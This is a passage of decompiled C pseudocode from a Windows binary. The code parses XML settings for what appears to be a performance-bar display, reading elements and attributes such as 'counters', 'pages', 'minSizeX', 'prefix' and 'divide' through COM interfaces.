																																																						_t1823 =  &_v84;
																																																						_t1058 =  *((intOrPtr*)( *_t1057 + 0x1c))(_t1057,  &_v84);
																																																						_t1842 = __imp__#6;
																																																						__eflags = _t1058;
																																																						if(_t1058 >= 0) {
																																																							_t1656 =  &_v84;
																																																							_t1059 = E6ED27BD0(_t1594, _t1656, _t1842, _t1869, "perfbar");
																																																							__eflags = _t1059;
																																																							if(_t1059 == 0) {
																																																								L710:
																																																								_v117 = 1;
																																																								goto L711;
																																																							} else {
																																																								_v68 = 0;
																																																								_v48 = 0xf;
																																																								_t1063 = _v76;
																																																								__eflags = _t1063;
																																																								if(__eflags == 0) {
																																																									goto L732;
																																																								} else {
																																																									_t1656 =  *_t1063;
																																																									_t1823 =  &_v68;
																																																									_v48 = 0xf;
																																																									_v68 = 0;
																																																									 *((intOrPtr*)(_t1656 + 0x34))(_t1063,  &_v68);
																																																									_t1065 = _v68;
																																																									__eflags = _t1065;
																																																									if(_t1065 == 0) {
																																																										L708:
																																																										_v48 = 0x1e;
																																																										__eflags = _t1065;
																																																										if(_t1065 != 0) {
																																																											 *((intOrPtr*)( *_t1065 + 8))(_t1065);
																																																										}
																																																										goto L710;
																																																									} else {
																																																										while(1) {
																																																											_v116 = 0;
																																																											_v48 = 0x11;
																																																											__eflags = _t1065;
																																																											if(__eflags == 0) {
																																																												goto L732;
																																																											}
																																																											_t1823 =  &_v116;
																																																											_t1067 =  *((intOrPtr*)( *_t1065 + 0x1c))(_t1065,  &_v116);
																																																											__eflags = _t1067;
																																																											if(_t1067 < 0) {
																																																												L716:
																																																												 *_t1842(_v116);
																																																												_v48 = 0x18;
																																																												_t1069 = _v68;
																																																												__eflags = _t1069;
																																																												if(_t1069 != 0) {
																																																													 *((intOrPtr*)( *_t1069 + 8))(_t1069);
																																																												}
																																																												_v117 = 0;
																																																												goto L711;
																																																											} else {
																																																												_t1071 = MultiByteToWideChar(3, 0, "counters", 0xffffffff, 0, 0);
																																																												_t1870 = _t1071;
																																																												_t1656 = _t1870 - 1;
																																																												__imp__#4(0, _t1656);
																																																												_t1841 = _t1071;
																																																												__eflags = _t1841;
																																																												if(_t1841 == 0) {
																																																													goto L731;
																																																												} else {
																																																													_t1073 = MultiByteToWideChar(3, 0, "counters", 0xffffffff, _t1841, _t1870);
																																																													__eflags = _t1073 - _t1870;
																																																													if(_t1073 != _t1870) {
																																																														goto L730;
																																																													} else {
																																																														__imp__#314(_v116, _t1841, 0x400, 0);
																																																														_t1842 = __imp__#6;
																																																														_t1871 = _t1073;
																																																														 *_t1842(_t1841);
																																																														__eflags = _t1073 - 1;
																																																														if(_t1073 != 1) {
																																																															_t1077 = MultiByteToWideChar(3, 0, "pages", 0xffffffff, 0, 0);
																																																															_t1872 = _t1077;
																																																															_t1656 = _t1872 - 1;
																																																															__imp__#4(0, _t1656);
																																																															_t1841 = _t1077;
																																																															__eflags = _t1841;
																																																															if(_t1841 == 0) {
																																																																goto L731;
																																																															} else {
																																																																_t1078 = MultiByteToWideChar(3, 0, "pages", 0xffffffff, _t1841, _t1872);
																																																																__eflags = _t1078 - _t1872;
																																																																if(_t1078 != _t1872) {
																																																																	goto L730;
																																																																} else {
																																																																	__imp__#314(_v116, _t1841, 0x400, 0);
																																																																	_t1842 = __imp__#6;
																																																																	_t1873 = _t1078;
																																																																	 *_t1842(_t1841);
																																																																	__eflags = _t1078 - 1;
																																																																	if(_t1078 != 1) {
																																																																		_t1080 = MultiByteToWideChar(3, 0, "settings", 0xffffffff, 0, 0);
																																																																		_t1874 = _t1080;
																																																																		_t1656 = _t1874 - 1;
																																																																		__imp__#4(0, _t1656);
																																																																		_t1841 = _t1080;
																																																																		__eflags = _t1841;
																																																																		if(_t1841 == 0) {
																																																																			goto L731;
																																																																		} else {
																																																																			_t1081 = MultiByteToWideChar(3, 0, "settings", 0xffffffff, _t1841, _t1874);
																																																																			__eflags = _t1081 - _t1874;
																																																																			if(_t1081 != _t1874) {
																																																																				goto L730;
																																																																			} else {
																																																																				__imp__#314(_v116, _t1841, 0x400, 0);
																																																																				_t1842 = __imp__#6;
																																																																				 *_t1842(_t1841);
																																																																				__eflags = _t1081 - 1;
																																																																				if(_t1081 == 1) {
																																																																					_t1656 =  &_v68;
																																																																					_t1823 = _v128 + 0x2c;
																																																																					L548();
																																																																				}
																																																																				goto L698;
																																																																			}
																																																																		}
																																																																	} else {
																																																																		_t1823 = _v124;
																																																																		_t1656 =  &_v68;
																																																																		E6ED28730(_t1594, _t1656, _v124, _t1842, _t1873, _t1996);
																																																																		goto L698;
																																																																	}
																																																																}
																																																															}
																																																														} else {
																																																															_t1823 = _v128;
																																																															_t1656 =  &_v68;
																																																															E6ED28380(_t1594, _t1656, _v128, _t1842, _t1871, _t1996);
																																																															L698:
																																																															_v72 = 0;
																																																															_v48 = 0x15;
																																																															_t1083 = _v68;
																																																															__eflags = _t1083;
																																																															if(__eflags == 0) {
																																																																goto L732;
																																																															} else {
																																																																_t1823 =  &_v72;
																																																																_v48 = 0x15;
																																																																_v72 = 0;
																																																																_t1084 =  *((intOrPtr*)( *_t1083 + 0x40))(_t1083,  &_v72);
																																																																__eflags = _t1084;
																																																																if(_t1084 < 0) {
																																																																	_v48 = 0x17;
																																																																	_t1085 = _v72;
																																																																	__eflags = _t1085;
																																																																	if(_t1085 != 0) {
																																																																		 *((intOrPtr*)( *_t1085 + 8))(_t1085);
																																																																	}
																																																																	goto L716;
																																																																} else {
																																																																	_t1656 = _v68;
																																																																	_t1087 = _v72;
																																																																	__eflags = _t1656 - _t1087;
																																																																	if(_t1656 != _t1087) {
																																																																		_t1876 = _t1087;
																																																																		_v48 = 0x1b;
																																																																		__eflags = _t1876;
																																																																		if(_t1876 != 0) {
																																																																			 *((intOrPtr*)( *_t1087 + 4))(_t1087);
																																																																			_t1656 = _v68;
																																																																			_t1087 = _v72;
																																																																		}
																																																																		_v68 = _t1876;
																																																																		_v48 = 0x1c;
																																																																		__eflags = _t1656;
																																																																		if(_t1656 != 0) {
																																																																			 *((intOrPtr*)( *_t1656 + 8))(_t1656);
																																																																			_t1087 = _v72;
																																																																		}
																																																																	}
																																																																	_v48 = 0x1d;
																																																																	__eflags = _t1087;
																																																																	if(_t1087 != 0) {
																																																																		_t1656 =  *_t1087;
																																																																		 *((intOrPtr*)(_t1656 + 8))(_t1087);
																																																																	}
																																																																	 *_t1842(_v116);
																																																																	_t1065 = _v68;
																																																																	__eflags = _t1065;
																																																																	if(_t1065 != 0) {
																																																																		continue;
																																																																	} else {
																																																																		goto L708;
																																																																	}
																																																																}
																																																															}
																																																														}
																																																													}
																																																												}
																																																											}
																																																											goto L737;
																																																										}
																																																										goto L732;
																																																									}
																																																								}
																																																							}
																																																						} else {
																																																							_v117 = 0;
																																																							L711:
																																																							 *_t1842(_v84);
																																																							goto L712;
																																																						}
																																																					}
																																																				} else {
																																																					_v117 = 0;
																																																					L712:
																																																					_v48 = 0x1f;
																																																					_t1061 = _v76;
																																																					__eflags = _t1061;
																																																					if(_t1061 != 0) {
																																																						 *((intOrPtr*)( *_t1061 + 8))(_t1061);
																																																					}
																																																					L720:
																																																					_v48 = 0;
																																																					_t1823 = _v88;
																																																					__eflags = _t1823 - 8;
																																																					if(_t1823 < 8) {
																																																						L724:
																																																						_v92 = 0;
																																																						_v108 = 0;
																																																						_t1029 = _v80;
																																																						_v88 = 7;
																																																						L726:
																																																						_v48 = 0x20;
																																																						__eflags = _t1029;
																																																						if(_t1029 != 0) {
																																																							 *((intOrPtr*)( *_t1029 + 8))(_t1029);
																																																						}
																																																						 *[fs:0x0] = _v56;
																																																						_pop(_t1839);
																																																						_pop(_t1866);
																																																						__eflags = _v64 ^ _t1923;
																																																						return E6ED34160(_v117, _t1594, _v64 ^ _t1923, _t1823, _t1839, _t1866);
																																																					} else {
																																																						_t1656 = _v108;
																																																						_t1823 = 2 + _t1823 * 2;
																																																						_t1037 = _t1656;
																																																						__eflags = _t1823 - 0x1000;
																																																						if(_t1823 < 0x1000) {
																																																							L723:
																																																							_push(_t1823);
																																																							E6ED3416E(_t1656);
																																																							goto L724;
																																																						} else {
																																																							_t1656 =  *(_t1656 - 4);
																																																							_t1823 = _t1823 + 0x23;
																																																							__eflags = _t1037 - _t1656 + 0xfffffffc - 0x1f;
																																																							if(__eflags > 0) {
																																																								L733:
																																																								E6ED3D5F4(_t1594, _t1656, _t1823, __eflags);
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								_push(_t1923);
																																																								_push(0xffffffff);
																																																								_push(0x6ed58ad0);
																																																								_push( *[fs:0x0]);
																																																								_push( *0x6ed6d008 ^ _t1952);
																																																								_t1045 =  &_v1652;
																																																								 *[fs:0x0] = _t1045;
																																																								_v1644 = 0;
																																																								_t1657 =  *_t1656;
																																																								__eflags = _t1657;
																																																								if(_t1657 != 0) {
																																																									_t1045 =  *((intOrPtr*)( *_t1657 + 8))(_t1657);
																																																								}
																																																								 *[fs:0x0] = _v60;
																																																								return _t1045;
																																																							} else {
																																																								goto L723;
																																																							}
																																																						}
																																																					}
																																																				}
																																																			}
																																																		}
																																																	} else {
																																																		__eflags = _t1841;
																																																		if(_t1841 != 0) {
																																																			E6ED37500(0x8007000e);
																																																			L730:
																																																			 *__imp__#6(_t1841);
																																																			L731:
																																																			E6ED27B80(0x8007000e);
																																																			goto L732;
																																																		} else {
																																																			goto L673;
																																																		}
																																																	}
																																																}
																																															}
																																														}
																																													}
																																												} else {
																																													_t1113 = _t1823;
																																													goto L642;
																																												}
																																											}
																																										}
																																									}
																																								}
																																							} else {
																																								_t1823 =  &_v44;
																																								_v24 = 0;
																																								_v44 = 0;
																																								_t1118 =  *((intOrPtr*)( *_t1636 + 0x44))(_t1636,  &_v44);
																																								__eflags = _t1118;
																																								if(_t1118 < 0) {
																																									L627:
																																									_t1596 = 0;
																																									__eflags = 0;
																																									goto L628;
																																								} else {
																																									_t1122 = _v44;
																																									__eflags = _t1122;
																																									if(_t1122 == 0) {
																																										goto L633;
																																									} else {
																																										_t1636 =  *_t1122;
																																										_t1823 =  &_v56;
																																										_t1123 =  *((intOrPtr*)(_t1636 + 0x2c))(_t1122,  &_v56);
																																										__eflags = _t1123;
																																										if(_t1123 < 0) {
																																											goto L627;
																																										} else {
																																											_t1124 = 0;
																																											_v40 = 0;
																																											_v24 = 4;
																																											_v100 = 0;
																																											__eflags = _v56;
																																											if(_v56 <= 0) {
																																												L622:
																																												_t1596 = 1;
																																												goto L623;
																																											} else {
																																												_t1591 = __imp__#6;
																																												while(1) {
																																													_t1860 = _v44;
																																													__eflags = _t1860;
																																													if(_t1860 == 0) {
																																														goto L633;
																																													}
																																													_t1636 =  *_t1860;
																																													_t1837 =  *(_t1636 + 0x28);
																																													_v24 = 5;
																																													__eflags = _t1124;
																																													if(_t1124 != 0) {
																																														_t1636 =  *_t1124;
																																														 *((intOrPtr*)(_t1636 + 8))(_t1124);
																																													}
																																													_v24 = 4;
																																													_v40 = 0;
																																													_t1127 =  *_t1837(_t1860, _v100,  &_v40);
																																													__eflags = _t1127;
																																													if(_t1127 < 0) {
																																														L626:
																																														_t1124 = _v40;
																																														_t1596 = 0;
																																														L623:
																																														_v24 = 0x12;
																																														__eflags = _t1124;
																																														if(_t1124 != 0) {
																																															 *((intOrPtr*)( *_t1124 + 8))(_t1124);
																																														}
																																														L628:
																																														_v24 = 0x13;
																																														_t1676 = _v44;
																																														__eflags = _t1676;
																																														if(_t1676 != 0) {
																																															_t1823 =  *_t1676;
																																															 *((intOrPtr*)( *_t1676 + 8))(_t1676);
																																														}
																																														 *[fs:0x0] = _v32;
																																														_pop(_t1843);
																																														_pop(_t1877);
																																														_pop(_t1597);
																																														__eflags = _v36 ^ _t1918;
																																														return E6ED34160(_t1596, _t1597, _v36 ^ _t1918, _t1823, _t1843, _t1877);
																																													} else {
																																														_v48 = 0;
																																														_v24 = 8;
																																														_t1128 = _v40;
																																														__eflags = _t1128;
																																														if(_t1128 == 0) {
																																															goto L633;
																																														} else {
																																															_t1636 =  *_t1128;
																																															_t1823 =  &_v48;
																																															_t1129 =  *((intOrPtr*)(_t1636 + 0x1c))(_t1128,  &_v48);
																																															__eflags = _t1129;
																																															if(_t1129 < 0) {
																																																L625:
																																																 *_t1591(_v48);
																																																goto L626;
																																															} else {
																																																_t1131 = _v40;
																																																__eflags = _t1131;
																																																if(_t1131 == 0) {
																																																	goto L633;
																																																} else {
																																																	_t1636 =  *_t1131;
																																																	_t1823 =  &_v92;
																																																	__eflags =  *((intOrPtr*)(_t1636 + 0x20))(_t1131,  &_v92);
																																																	if(__eflags < 0) {
																																																		goto L625;
																																																	} else {
																																																		_t1860 = _v48;
																																																		_t1133 = E6ED3419F( &_v92, __eflags, 0xc);
																																																		_t1837 = _t1133;
																																																		_t1940 = _t1940 + 4;
																																																		_v124 = _t1837;
																																																		_v24 = 0xd;
																																																		__eflags = _t1837;
																																																		if(_t1837 == 0) {
																																																			_t1837 = 0;
																																																			__eflags = 0;
																																																			goto L567;
																																																		} else {
																																																			asm("xorps xmm0, xmm0");
																																																			asm("movq [edi], xmm0");
																																																			_t1837[4] = 0;
																																																			_t1837[2] = 0;
																																																			_t1837[4] = 1;
																																																			__imp__#2(_t1860);
																																																			 *_t1837 = _t1133;
																																																			__eflags = _t1133;
																																																			if(_t1133 != 0) {
																																																				L567:
																																																				_v24 = 8;
																																																				_v52 = _t1837;
																																																				__eflags = _t1837;
																																																				if(_t1837 == 0) {
																																																					goto L631;
																																																				} else {
																																																					_v24 = 0xe;
																																																					__imp__#8( &_v76);
																																																					_t1134 =  &_v76;
																																																					__imp__#10(_t1134,  &_v92);
																																																					__eflags = _t1134;
																																																					if(__eflags < 0) {
																																																						goto L632;
																																																					} else {
																																																						_v24 = 0xf;
																																																						_t1138 = E6ED27C80(_t1591,  &_v104, _t1823, __eflags, "minSizeX");
																																																						_t1683 =  &_v52;
																																																						_t1139 = E6ED27D80(_t1683, _t1138);
																																																						_t1878 = _v104;
																																																						_t1598 = _t1139;
																																																						__eflags = _t1878;
																																																						if(_t1878 != 0) {
																																																							asm("lock xadd [esi+0x8], ecx");
																																																							__eflags = (_t1683 | 0xffffffff) == 1;
																																																							if((_t1683 | 0xffffffff) == 1) {
																																																								__eflags = _t1878;
																																																								if(_t1878 != 0) {
																																																									_t1174 =  *_t1878;
																																																									__eflags = _t1174;
																																																									if(_t1174 != 0) {
																																																										__imp__#6(_t1174);
																																																										 *_t1878 = 0;
																																																									}
																																																									_t1175 =  *(_t1878 + 4);
																																																									__eflags = _t1175;
																																																									if(_t1175 != 0) {
																																																										E6ED341CF(_t1175);
																																																										_t1940 = _t1940 + 4;
																																																										 *(_t1878 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6ED3416E(_t1878);
																																																									_t1940 = _t1940 + 8;
																																																								}
																																																							}
																																																							_v104 = 0;
																																																						}
																																																						__eflags = _t1598;
																																																						if(__eflags != 0) {
																																																							_push( &_v76);
																																																							_t1691 =  &_v108;
																																																							_t1165 = E6ED27ED0(_t1598,  &_v108, _t1823, _t1837, _t1878, _t1996);
																																																							_v24 = 0x10;
																																																							_t1882 =  *_t1165;
																																																							__eflags = _t1882;
																																																							if(_t1882 == 0) {
																																																								_t1166 = 0;
																																																								__eflags = 0;
																																																							} else {
																																																								_t1166 =  *(_t1882 + 4);
																																																								__eflags = _t1166;
																																																								if(_t1166 == 0) {
																																																									 *(_t1882 + 4) = E6ED37520(_t1598,  *_t1882);
																																																								}
																																																							}
																																																							_t1167 = E6ED44079(_t1691, _t1166);
																																																							_t1940 = _t1940 + 4;
																																																							_v24 = 0xf;
																																																							_t1883 = _v108;
																																																							 *_v116 = _t1167;
																																																							__eflags = _t1883;
																																																							if(__eflags != 0) {
																																																								asm("lock xadd [esi+0x8], eax");
																																																								__eflags = (_t1167 | 0xffffffff) - 1;
																																																								if(__eflags == 0) {
																																																									__eflags = _t1883;
																																																									if(__eflags != 0) {
																																																										_t1170 =  *_t1883;
																																																										__eflags = _t1170;
																																																										if(_t1170 != 0) {
																																																											__imp__#6(_t1170);
																																																											 *_t1883 = 0;
																																																										}
																																																										_t1171 =  *(_t1883 + 4);
																																																										__eflags =  *(_t1883 + 4);
																																																										if(__eflags != 0) {
																																																											E6ED341CF(_t1171);
																																																											_t1940 = _t1940 + 4;
																																																											 *(_t1883 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6ED3416E(_t1883);
																																																										_t1940 = _t1940 + 8;
																																																									}
																																																								}
																																																								_v108 = 0;
																																																							}
																																																						}
																																																						_t1140 = E6ED27C80(_t1598,  &_v112, _t1823, __eflags, "minSizeY");
																																																						_t1685 =  &_v52;
																																																						_t1141 = E6ED27D80(_t1685, _t1140);
																																																						_t1879 = _v112;
																																																						_t1599 = _t1141;
																																																						__eflags = _t1879;
																																																						if(_t1879 != 0) {
																																																							asm("lock xadd [esi+0x8], ecx");
																																																							__eflags = (_t1685 | 0xffffffff) == 1;
																																																							if((_t1685 | 0xffffffff) == 1) {
																																																								__eflags = _t1879;
																																																								if(_t1879 != 0) {
																																																									_t1160 =  *_t1879;
																																																									__eflags = _t1160;
																																																									if(_t1160 != 0) {
																																																										__imp__#6(_t1160);
																																																										 *_t1879 = 0;
																																																									}
																																																									_t1161 =  *(_t1879 + 4);
																																																									__eflags = _t1161;
																																																									if(_t1161 != 0) {
																																																										E6ED341CF(_t1161);
																																																										_t1940 = _t1940 + 4;
																																																										 *(_t1879 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6ED3416E(_t1879);
																																																									_t1940 = _t1940 + 8;
																																																								}
																																																							}
																																																							_v112 = 0;
																																																						}
																																																						__eflags = _t1599;
																																																						if(_t1599 != 0) {
																																																							_push( &_v76);
																																																							_t1687 =  &_v120;
																																																							_t1151 = E6ED27ED0(_t1599,  &_v120, _t1823, _t1837, _t1879, _t1996);
																																																							_v24 = 0x11;
																																																							_t1880 =  *_t1151;
																																																							__eflags = _t1880;
																																																							if(_t1880 == 0) {
																																																								_t1152 = 0;
																																																								__eflags = 0;
																																																							} else {
																																																								_t1152 =  *(_t1880 + 4);
																																																								__eflags = _t1152;
																																																								if(_t1152 == 0) {
																																																									 *(_t1880 + 4) = E6ED37520(_t1599,  *_t1880);
																																																								}
																																																							}
																																																							_t1153 = E6ED44079(_t1687, _t1152);
																																																							_t1940 = _t1940 + 4;
																																																							_t1881 = _v120;
																																																							 *(_v116 + 4) = _t1153;
																																																							__eflags = _t1881;
																																																							if(_t1881 != 0) {
																																																								asm("lock xadd [esi+0x8], eax");
																																																								__eflags = (_t1153 | 0xffffffff) == 1;
																																																								if((_t1153 | 0xffffffff) == 1) {
																																																									__eflags = _t1881;
																																																									if(_t1881 != 0) {
																																																										_t1156 =  *_t1881;
																																																										__eflags = _t1156;
																																																										if(_t1156 != 0) {
																																																											__imp__#6(_t1156);
																																																											 *_t1881 = 0;
																																																										}
																																																										_t1157 =  *(_t1881 + 4);
																																																										__eflags = _t1157;
																																																										if(_t1157 != 0) {
																																																											E6ED341CF(_t1157);
																																																											_t1940 = _t1940 + 4;
																																																											 *(_t1881 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6ED3416E(_t1881);
																																																										_t1940 = _t1940 + 8;
																																																									}
																																																								}
																																																								_v120 = 0;
																																																							}
																																																						}
																																																						_t1142 =  &_v76;
																																																						__imp__#9(_t1142);
																																																						asm("lock xadd [edi+0x8], eax");
																																																						__eflags = (_t1142 | 0xffffffff) == 1;
																																																						if((_t1142 | 0xffffffff) == 1) {
																																																							_t1146 =  *_t1837;
																																																							__eflags = _t1146;
																																																							if(_t1146 != 0) {
																																																								__imp__#6(_t1146);
																																																								 *_t1837 = 0;
																																																							}
																																																							_t1147 = _t1837[2];
																																																							__eflags = _t1147;
																																																							if(_t1147 != 0) {
																																																								E6ED341CF(_t1147);
																																																								_t1940 = _t1940 + 4;
																																																								_t1837[2] = 0;
																																																							}
																																																							_push(0xc);
																																																							E6ED3416E(_t1837);
																																																							_t1940 = _t1940 + 8;
																																																						}
																																																						_v24 = 4;
																																																						_t1591 = __imp__#6;
																																																						 *_t1591(_v48);
																																																						_t1124 = _v40;
																																																						_t1636 = _v100 + 1;
																																																						_v100 = _t1636;
																																																						__eflags = _t1636 - _v56;
																																																						if(_t1636 < _v56) {
																																																							continue;
																																																						} else {
																																																							goto L622;
																																																						}
																																																					}
																																																				}
																																																			} else {
																																																				__eflags = _t1860;
																																																				if(_t1860 != 0) {
																																																					L631:
																																																					_t1134 = E6ED37500(0x8007000e);
																																																					L632:
																																																					E6ED37500(_t1134);
																																																					goto L633;
																																																				} else {
																																																					goto L567;
																																																				}
																																																			}
																																																		}
																																																	}
																																																}
																																															}
																																														}
																																													}
																																													goto L737;
																																												}
																																												goto L633;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						} else {
																																							_t1823 =  &_v44;
																																							_v20 = 0;
																																							_v44 = 0;
																																							_t1180 =  *((intOrPtr*)( *_t1635 + 0x44))(_t1635, _t1823);
																																							__eflags = _t1180;
																																							if(_t1180 < 0) {
																																								L541:
																																								_t1600 = 0;
																																								__eflags = 0;
																																								goto L542;
																																							} else {
																																								_t1184 = _v44;
																																								__eflags = _t1184;
																																								if(_t1184 == 0) {
																																									goto L547;
																																								} else {
																																									_t1635 =  *_t1184;
																																									_t1823 =  &_v52;
																																									_t1185 =  *((intOrPtr*)(_t1635 + 0x2c))(_t1184, _t1823);
																																									__eflags = _t1185;
																																									if(_t1185 < 0) {
																																										goto L541;
																																									} else {
																																										_t1186 = 0;
																																										_v36 = 0;
																																										_v20 = 4;
																																										_v100 = 0;
																																										__eflags = _v52;
																																										if(_v52 <= 0) {
																																											L536:
																																											_t1600 = 1;
																																											goto L537;
																																										} else {
																																											_t1591 = __imp__#6;
																																											while(1) {
																																												_t1860 = _v44;
																																												__eflags = _t1860;
																																												if(_t1860 == 0) {
																																													goto L547;
																																												}
																																												_t1635 =  *_t1860;
																																												_t1837 =  *(_t1635 + 0x28);
																																												_v20 = 5;
																																												__eflags = _t1186;
																																												if(_t1186 != 0) {
																																													_t1635 =  *_t1186;
																																													 *((intOrPtr*)(_t1635 + 8))(_t1186);
																																												}
																																												_v20 = 4;
																																												_v36 = 0;
																																												_t1189 =  *_t1837(_t1860, _v100,  &_v36);
																																												__eflags = _t1189;
																																												if(_t1189 < 0) {
																																													L540:
																																													_t1186 = _v36;
																																													_t1600 = 0;
																																													L537:
																																													_v20 = 0x16;
																																													__eflags = _t1186;
																																													if(_t1186 != 0) {
																																														 *((intOrPtr*)( *_t1186 + 8))(_t1186);
																																													}
																																													L542:
																																													_v20 = 0x17;
																																													_t1695 = _v44;
																																													__eflags = _t1695;
																																													if(_t1695 != 0) {
																																														_t1823 =  *_t1695;
																																														 *((intOrPtr*)( *_t1695 + 8))(_t1695);
																																													}
																																													 *[fs:0x0] = _v28;
																																													_pop(_t1844);
																																													_pop(_t1884);
																																													_pop(_t1601);
																																													__eflags = _v32 ^ _t1917;
																																													return E6ED34160(_t1600, _t1601, _v32 ^ _t1917, _t1823, _t1844, _t1884);
																																												} else {
																																													_v48 = 0;
																																													_v20 = 8;
																																													_t1190 = _v36;
																																													__eflags = _t1190;
																																													if(_t1190 == 0) {
																																														goto L547;
																																													} else {
																																														_t1635 =  *_t1190;
																																														_t1823 =  &_v48;
																																														_t1191 =  *((intOrPtr*)(_t1635 + 0x1c))(_t1190, _t1823);
																																														__eflags = _t1191;
																																														if(_t1191 < 0) {
																																															L539:
																																															 *_t1591(_v48);
																																															goto L540;
																																														} else {
																																															_t1193 = _v36;
																																															__eflags = _t1193;
																																															if(_t1193 == 0) {
																																																goto L547;
																																															} else {
																																																_t1635 =  *_t1193;
																																																_t1823 =  &_v88;
																																																__eflags =  *((intOrPtr*)(_t1635 + 0x20))(_t1193, _t1823);
																																																if(__eflags < 0) {
																																																	goto L539;
																																																} else {
																																																	_t1860 = _v48;
																																																	_t1195 = E6ED3419F(_t1823, __eflags, 0xc);
																																																	_t1837 = _t1195;
																																																	_t1939 = _t1939 + 4;
																																																	_v152 = _t1837;
																																																	_v20 = 0xd;
																																																	__eflags = _t1837;
																																																	if(_t1837 == 0) {
																																																		_t1837 = 0;
																																																		__eflags = 0;
																																																		goto L386;
																																																	} else {
																																																		asm("xorps xmm0, xmm0");
																																																		asm("movq [edi], xmm0");
																																																		_t1837[4] = 0;
																																																		_t1837[2] = 0;
																																																		_t1837[4] = 1;
																																																		__imp__#2(_t1860);
																																																		 *_t1837 = _t1195;
																																																		__eflags = _t1195;
																																																		if(_t1195 != 0) {
																																																			L386:
																																																			_v20 = 8;
																																																			_v40 = _t1837;
																																																			__eflags = _t1837;
																																																			if(_t1837 == 0) {
																																																				goto L545;
																																																			} else {
																																																				_v20 = 0xe;
																																																				__imp__#8( &_v72);
																																																				_t1196 =  &_v72;
																																																				__imp__#10(_t1196,  &_v88);
																																																				__eflags = _t1196;
																																																				if(__eflags < 0) {
																																																					goto L546;
																																																				} else {
																																																					_v20 = 0xf;
																																																					_t1200 = E6ED27C80(_t1591,  &_v104, _t1823, __eflags, "prefix");
																																																					_t1702 =  &_v40;
																																																					_t1201 = E6ED27D80(_t1702, _t1200);
																																																					_t1885 = _v104;
																																																					_t1602 = _t1201;
																																																					__eflags = _t1885;
																																																					if(_t1885 != 0) {
																																																						asm("lock xadd [esi+0x8], ecx");
																																																						__eflags = (_t1702 | 0xffffffff) == 1;
																																																						if((_t1702 | 0xffffffff) == 1) {
																																																							__eflags = _t1885;
																																																							if(_t1885 != 0) {
																																																								_t1304 =  *_t1885;
																																																								__eflags = _t1304;
																																																								if(_t1304 != 0) {
																																																									__imp__#6(_t1304);
																																																									 *_t1885 = 0;
																																																								}
																																																								_t1305 =  *(_t1885 + 4);
																																																								__eflags = _t1305;
																																																								if(_t1305 != 0) {
																																																									E6ED341CF(_t1305);
																																																									_t1939 = _t1939 + 4;
																																																									 *(_t1885 + 4) = 0;
																																																								}
																																																								_push(0xc);
																																																								E6ED3416E(_t1885);
																																																								_t1939 = _t1939 + 8;
																																																							}
																																																						}
																																																						_v104 = 0;
																																																					}
																																																					__eflags = _t1602;
																																																					if(__eflags == 0) {
																																																						_t1202 = E6ED27C80(_t1602,  &_v112, _t1823, __eflags, "suffix");
																																																						_t1704 =  &_v40;
																																																						_t1203 = E6ED27D80(_t1704, _t1202);
																																																						_t1886 = _v112;
																																																						_t1603 = _t1203;
																																																						__eflags = _t1886;
																																																						if(_t1886 != 0) {
																																																							asm("lock xadd [esi+0x8], ecx");
																																																							__eflags = (_t1704 | 0xffffffff) == 1;
																																																							if((_t1704 | 0xffffffff) == 1) {
																																																								__eflags = _t1886;
																																																								if(_t1886 != 0) {
																																																									_t1289 =  *_t1886;
																																																									__eflags = _t1289;
																																																									if(_t1289 != 0) {
																																																										__imp__#6(_t1289);
																																																										 *_t1886 = 0;
																																																									}
																																																									_t1290 =  *(_t1886 + 4);
																																																									__eflags = _t1290;
																																																									if(_t1290 != 0) {
																																																										E6ED341CF(_t1290);
																																																										_t1939 = _t1939 + 4;
																																																										 *(_t1886 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6ED3416E(_t1886);
																																																									_t1939 = _t1939 + 8;
																																																								}
																																																							}
																																																							_v112 = 0;
																																																						}
																																																						__eflags = _t1603;
																																																						if(__eflags == 0) {
																																																							_t1204 = E6ED27C80(_t1603,  &_v120, _t1823, __eflags, "counter");
																																																							_t1706 =  &_v40;
																																																							_t1205 = E6ED27D80(_t1706, _t1204);
																																																							_t1887 = _v120;
																																																							_t1604 = _t1205;
																																																							__eflags = _t1887;
																																																							if(_t1887 != 0) {
																																																								asm("lock xadd [esi+0x8], ecx");
																																																								__eflags = (_t1706 | 0xffffffff) == 1;
																																																								if((_t1706 | 0xffffffff) == 1) {
																																																									__eflags = _t1887;
																																																									if(_t1887 != 0) {
																																																										_t1274 =  *_t1887;
																																																										__eflags = _t1274;
																																																										if(_t1274 != 0) {
																																																											__imp__#6(_t1274);
																																																											 *_t1887 = 0;
																																																										}
																																																										_t1275 =  *(_t1887 + 4);
																																																										__eflags = _t1275;
																																																										if(_t1275 != 0) {
																																																											E6ED341CF(_t1275);
																																																											_t1939 = _t1939 + 4;
																																																											 *(_t1887 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6ED3416E(_t1887);
																																																										_t1939 = _t1939 + 8;
																																																									}
																																																								}
																																																								_v120 = 0;
																																																							}
																																																							__eflags = _t1604;
																																																							if(__eflags == 0) {
																																																								_t1206 = E6ED27C80(_t1604,  &_v128, _t1823, __eflags, "divide");
																																																								_t1708 =  &_v40;
																																																								_t1207 = E6ED27D80(_t1708, _t1206);
																																																								_t1888 = _v128;
																																																								_t1605 = _t1207;
																																																								__eflags = _t1888;
																																																								if(_t1888 != 0) {
																																																									asm("lock xadd [esi+0x8], ecx");
																																																									__eflags = (_t1708 | 0xffffffff) == 1;
																																																									if((_t1708 | 0xffffffff) == 1) {
																																																										__eflags = _t1888;
																																																										if(_t1888 != 0) {
																																																											_t1259 =  *_t1888;
																																																											__eflags = _t1259;
																																																											if(_t1259 != 0) {
																																																												__imp__#6(_t1259);
																																																												 *_t1888 = 0;
																																																											}
																																																											_t1260 =  *(_t1888 + 4);
																																																											__eflags = _t1260;
																																																											if(_t1260 != 0) {
																																																												E6ED341CF(_t1260);
																																																												_t1939 = _t1939 + 4;
																																																												 *(_t1888 + 4) = 0;
																																																											}
																																																											_push(0xc);
